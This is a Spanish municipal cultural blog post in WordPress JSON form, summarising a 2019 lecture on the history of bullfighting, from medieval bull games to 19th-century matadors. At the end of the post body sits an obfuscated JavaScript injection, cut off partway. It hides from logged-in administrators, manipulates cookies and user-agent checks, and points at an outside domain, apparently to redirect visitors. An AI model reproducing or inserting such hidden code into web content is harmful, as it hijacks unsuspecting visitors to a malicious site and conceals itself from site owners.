{"id":4146,"date":"2019-11-14T07:26:43","date_gmt":"2019-11-14T07:26:43","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=4146"},"modified":"2019-11-14T08:52:39","modified_gmt":"2019-11-14T08:52:39","slug":"xiii-semana-cultural-taurina-2019-francisco-aguado-periodista-y-escritor","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2019\/11\/14\/xiii-semana-cultural-taurina-2019-francisco-aguado-periodista-y-escritor\/","title":{"rendered":"XIII SEMANA CULTURAL TAURINA. 2019. FRANCISCO AGUADO. PERIODISTA Y ESCRITOR"},"content":{"rendered":"<p>UN PASEO POR LOS SIGLOS DE LA TAUROMAQUIA. 12-11-2019<\/p>\n<p><!--more--><\/p>\n<p>UN PASEO POR LOS SIGLOS DE LA TAUROMAQUIA<\/p>\n<p>Se inici\u00f3 la conferencia recordando el origen del toro bravo, apuntando a Asia como el origen del mismo. Al mismo tiempo se dijo que el toro que sobrevivi\u00f3 en el Mediterr\u00e1neo durante milenios, descendiente del asi\u00e1tico, era menos agresivo. Lo fue m\u00e1s el que entr\u00f3 por el estrecho de Gibraltar mucho m\u00e1s tarde, lo que sumado a la mayor salinidad de los suelos del sur de Espa\u00f1a comparados con los del norte, dio lugar al toro peninsular, m\u00e1s bravo que el del resto.<\/p>\n<p><b>Durante la Edad Media<\/b> abundaron los juegos con toros, de ca\u00f1as, etc., juegos populares a pie que consist\u00edan en la pr\u00e1ctica de ciertos ritos populares en los que mancharse con la sangre del toro o matarlo confer\u00eda al que lo hac\u00eda el poder de absorber su fuerza. Numerosas im\u00e1genes procedentes de frescos y relieves demuestran esta hip\u00f3tesis.<\/p>\n<p>Paralelamente se desarrollaron juegos con el toro entre las <b>clases altas<\/b> de la sociedad, y m\u00e1s concretamente con los militares, que necesitaban ejercitarse para la batalla alanceando toros y esquiv\u00e1ndolos. Era, pues, un entrenamiento. En esta edad media ya pueden descubrirse im\u00e1genes en relieves de personas que, con ayuda de trapos, palos, lanzas o espadas y cuchillos, practicaban esos ritos, tambi\u00e9n relacionados ya con las fiestas paganas y, despu\u00e9s de la ca\u00edda del Imperio Romano, cristianas.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-4147\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o-300x169.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o-768x432.jpg 768w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o-1024x576.jpg 1024w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/74893756_2525758570811905_145791406437302272_o.jpg 1440w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"left\">Los primeros juegos con toros en recintos m\u00e1s o menos cerrados comienzan a darse en las plazas de las ciudades y los pueblos, estando cerrada la entrada gratuita a los pobres y empezando a darse una cierta homogeneidad en el toreo, en el caso de los nobles siempre montados a caballo -los asistentes pudimos contemplar una imagen de la plaza mayor de Madrid a principios del siglo XVIII, de planta cuadrada-. Una guardia especial de nobles de alto rango proteg\u00eda a los monarcas de los animales y los posibles peligros durante los juegos, con la ayuda de lanzas para tal fin.<\/p>\n<p align=\"left\">En los pueblos sol\u00edan pertenecer a la <b>Real Maestranza de la Caballer\u00eda de Ronda<\/b> los protagonistas de estas demostraciones, y con pasado militar, siguiendo ese entrenamiento con el que empezaron a surgir estos juegos.<\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-4150\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco-300x225.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco-768x576.jpg 768w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco-1024x768.jpg 1024w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2019\/11\/francisco-carmona-francisco-aguado-jos\u00e9-carmelo-jorge-blanco.jpg 1134w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"left\">Esos nobles iban acompa\u00f1ados de pajes, m\u00e1s cercanos al <b>pueblo llano<\/b>, que fueron aprendiendo el arte incipiente del toreo y, paralelamente, van fraguando el toreo a pie, m\u00e1s modesto y del pueblo, y utilizando los trapos, las banderillas o los cuchillos, llegando a convertir el juego con los toros en puro entretenimiento.<\/p>\n<p align=\"left\">La relaci\u00f3n de los <b>monarcas<\/b> espa\u00f1oles con la fiesta de los toros fue especialmente curiosa. As\u00ed, sorprende constatar que, parad\u00f3gicamente, Jos\u00e9 Bonaparte los apoyara claramente y Fernando VII los prohibiera.<\/p>\n<p align=\"left\">Es en estos momentos cuando surgen en Andaluc\u00eda las <b>dos escuelas<\/b> enfrentadas de toreo: la de Ronda, con una fiesta en la que lo que primaba y daba prestigio al torero era matar cuanto antes al toro de la manera m\u00e1s elegante posible. La de Sevilla se volcaba m\u00e1s en dar m\u00e1s espect\u00e1culo en cada toro y en mantenerlo con vida m\u00e1s tiempo hasta la muerte del mismo. Tambi\u00e9n la estructura de la fiesta empezaba a nacer. Un ejemplo concreto: la entrada de los toreros en el ruedo, primero los caballos y luego los toreros, y con una colocaci\u00f3n espec\u00edfica en funci\u00f3n del rango y la edad, es fiel reflejo de aquel toreo militar primigenio. El <b>oro<\/b> en el traje s\u00f3lo estaba permitido a los picadores y otros jinetes, recuerdo de que siglos atr\u00e1s eran los nobles a caballo los \u00fanicos que llevaban ese tipo de floritura en la vestimenta. Los toreros y banderilleros s\u00f3lo pod\u00edan vestir con plata y otros metales y colores. Los clarines y los tambores tambi\u00e9n son recuerdo de esa m\u00fasica militar de anta\u00f1o.<\/p>\n<p align=\"left\">Francisco lanz\u00f3 varias explicaciones sumamente interesantes sobre el porqu\u00e9 del <b>corte de las orejas<\/b> y el rabo de los animales. En muchos pueblos espa\u00f1oles lleg\u00f3 a existir la figura del carnicero torero, o persona que, con el encargo del Alcalde de cada lugar, estaba relacionada con el reparto de carne y con el de dar muerte a los toros que tuviesen que dedicarse al consumo humano. Y ah\u00ed comienza la necesidad de lidiar, antes de la muerte, al animal, para dar espect\u00e1culo a los vecinos. Terminada la lidia, si el arte hab\u00eda gustado al pueblo y al Alcalde, \u00e9ste le daba, como objeto que certificaba la veracidad de su encargo, una oreja o dos y el rabo. Inmediatamente despu\u00e9s, el carnicero torero pod\u00eda acudir con sus orejas al matadero municipal a retirar gratuitamente la carne que le correspond\u00eda de manera gratuita, como premio, para poder venderla en su establecimiento. Apuntamos que en Vera existi\u00f3 esa figura del carnicero torero, habiendo sido descubierto en un expediente del Archivo Municipal de Vera el caso de <b>Cecilio Antonio Estebes Garc\u00eda<\/b>, torero y, de profesi\u00f3n, carnicero, lenguaraz y amancebado con una vecina de la localidad.<\/p>\n<p align=\"left\">Como se puede estudiar en los <b>grabados de Goya<\/b> de principios del siglo XIX, el toreo todav\u00eda era en ese momento una fiesta ca\u00f3tica, en la que, en el ruedo, pod\u00edan verse varios espect\u00e1culos y muchas personas actuando.<\/p>\n<p>Durante el siglo XIX quedan normalizadas las corridas de toros, habiendo realizado el conferenciante un recorrido por los primeros toreros conocidos y consagrados, como <b>Pedro Romero Mart\u00ednez<\/b>, <b>Jos\u00e9 Delgado Guerra<\/b> o <b>Francisco Montes Reina<\/b>, que empieza a utilizar el oro en sus trajes y a ensalzar la figura del torero frente al de los jinetes, descendientes de aquellos nobles militares de siglos pasados, a\u00f1adiendo sus originales aportaciones hasta el siglo XX, contenido que, Francisco Aguado, expondr\u00e1 en una futura conferencia.<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new 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